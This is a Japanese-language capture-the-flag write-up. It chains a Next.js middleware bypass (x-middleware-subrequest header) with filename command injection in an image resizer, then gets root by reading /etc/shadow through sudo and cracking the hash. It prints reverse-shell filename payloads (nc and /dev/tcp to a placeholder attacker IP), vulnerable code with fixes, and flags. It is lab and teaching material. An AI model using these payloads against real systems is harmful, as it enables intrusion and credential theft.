
Capture the Flag チャレンジ: CVE-2025-29927 とコマンドインジェクションの脆弱性を組み合わせたもの
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard ページは /login にリダイレクトされます。ログインページに、リダイレクトをバイパスできる情報はありますか?
— — —
x-middleware-subrequest ヘッダーを悪用することで、ミドルウェアの保護を完全にバイパスできます。Next.js はこのヘッダーを内部で使用して、ミドルウェアの無限ループを防いでいます。リクエストが処理されると、runMiddleware 関数がリクエストヘッダーをチェックします:
x-middleware-subrequest が存在する場合
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
このヘッダーを使用することで、ミドルウェアに「これは既にミドルウェアによって生成されたリクエストです。ミドルウェアを再度実行しないでください」と伝えます。
x-middleware-subrequest ヘッダーを削除します。このヘッダーは、正当なミドルウェアチェーン中に Next.js ランタイム内で作成された場合にのみ信頼されます。具体的には、x-middleware-subrequest の値がランダムに生成された16進文字列に対して検証されるようになり、正当な内部サブリクエストのみが認証チェックを通過できるようになります。そのため、攻撃者がヘッダーを送信しても、Next.js は実際の内部サブリクエスト(正しいランダムトークンを持つ)と外部攻撃者からのなりすましを区別できるようになりました。
— — —
const filename = file.name; // 脆弱: サニタイズなし!
const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
const filepath = join(uploadsDir, sanitizedFilename);
await writeFile(filepath, buffer);
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => {
exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => {
...
元のファイル名はユーザーが制御でき、悪意のある文字を含める可能性があります。開発者は一部の危険な文字を削除しています(ホワイトリストではなくブラックリスト)。convert コマンドは exec() を使用して実行され、元のファイル名(ユーザー入力)がシェルコマンドに直接挿入されます。1つの修正方法としては、ユーザーのファイル名の代わりにランダムに生成されたファイル名を使用し、シェルを回避する安全なAPIを使用することです。
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
悪意のあるファイル名:
image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
フラグは /home/webuser にあります:
FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}
rockyou.txt.gz をコマンド gzip -d /usr/share/wordlists/rockyou.txt.gz で解凍してください。
— — —
target@target:~$ sudo -l
Matching Defaults entries for webuser on photoresizer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User webuser may run the following commands on photoresizer:
(ALL) NOPASSWD: /usr/bin/cat /etc/shadow
target@target:~$ sudo cat /etc/shadow
root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
rockyou (root)
1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
target@target:~$ su - root
フラグは /root にあります:
FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}